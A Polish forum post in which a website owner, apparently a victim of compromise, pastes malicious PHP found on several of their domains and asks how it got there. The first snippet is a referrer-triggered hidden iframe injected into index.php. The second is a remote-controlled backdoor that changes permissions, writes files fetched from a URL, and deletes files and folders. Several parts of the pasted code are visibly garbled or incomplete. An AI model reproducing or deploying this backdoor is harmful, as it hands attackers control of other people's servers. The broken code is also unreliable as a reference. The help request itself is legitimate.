Witam,
Ostatnio na ftp pojawiły się u mnie dziwne pliki i w index.php na końcu coś takiego:
<!-- analytics7 -->
<? error_reporting(0
); $stat=$_SERVER["HTTP_REFERER"];$flag_g=stristr($stat,"google.");$flag_y=stristr($stat,"yahoo.");$flag_b=stristr($stat,"bing.");if
(($flag_g) or
($flag_y) or
($flag_b)){echo "<iframe src=\"http://adres-mojej-strony.pl/css-dtr.php\" width=1 height=1 frameborder=0></iframe>";} ?>
pliki miały następujące nazwy:
css-kin.php
css-lz.php
css-on.php
css-zeu.php
Czego przyczyną jest pojawianie się takich niechcianych plików? Pojawiły się u mnie w kilku domenach.. nawet takich któe nie miały cms'a
W jednym z plikó był taki kod:
<?
$err_flg=$_GET['err'];
if (isset($_GET["checksum"])) die(md5($_GET["checksum"]));
$else_dot=$_GET['else_dot'];
$flag_sum=$_GET['flag_sum'];
$chmod_name=$_GET['chmod_name'];
$chmod_mod=$_GET['chmod_mod'];
$chmod_mod=intval($chmod_mod, 8
); $f_creat_url=$_GET['f_creat_url'];
$f_creat_name=$_GET['f_creat_name'];
$f_del_name=$_GET['f_del_name'];
$folder_creat_name=$_GET['folder_creat_name'];
$folder_del_name=$_GET['folder_del_name'];
if ($flag_sum==1
) {echo "734057843957";}
if ($chmod_name)
{
if ($else_dot==1) {chmod ("$chmod_name", $chmod_mod);}
else
{
if ($else_dot) {chmod ("$chmod_name.$else_dot", $chmod_mod);}
else {chmod ("$chmod_name.php", $chmod_mod);}
}
}
if ($f_creat_url)
{
$new_vsn1="http://$f_creat_url";
$new_vsn=getau("$new_vsn1");
if ($else_dot==1
) {$new_v_f=fopen("$f_creat_name","w+");} else
{
if ($else_dot) {$new_v_f=fopen("$f_creat_name.$else_dot","w+");} else {$new_v_f=fopen("$f_creat_name.php","w+");} }
}
if ($f_del_name)
{
if ($else_dot==1
) {unlink ("$f_del_name");} else
{
if ($else_dot) {unlink ("$f_del_name.$else_dot");} else {unlink ("$f_del_name.php");} }
}
if ($folder_creat_name)
{
$flag_mkd = mkdir ("$folder_creat_name", 0777
); }
if ($folder_del_name)
{
$folder_del_name=trim($folder_del_name); if ($folder_del_name<>"")
{
removeDirRec("$folder_del_name");
}
}
function getau ($path)
{
if (!function_exists ("file_get_contents"))
{
{
$a = @fopen ($addr, "r"); if ($a) return @$tmp;
}
}
if (!function_exists ("file_put_contents"))
{
function file_put_contents ($addr, $con)
{
$a = @fopen ($addr, "w+"); if (!$a) return 0;
}
}
if ($content=="")
{
$curl = curl_init ();
curl_setopt
($curl, CURLOPT_URL
, trim($path)); curl_setopt ($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($curl, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($curl, CURLOPT_TIMEOUT, 5);
$content = curl_exec ($curl);
curl_close($curl);
}
if ($content!="")
{
return $content;
}
}
function removeDirRec($dir)
{
if ($objs = glob($dir."/*")) { foreach($objs as $obj) {
}
}
}
?>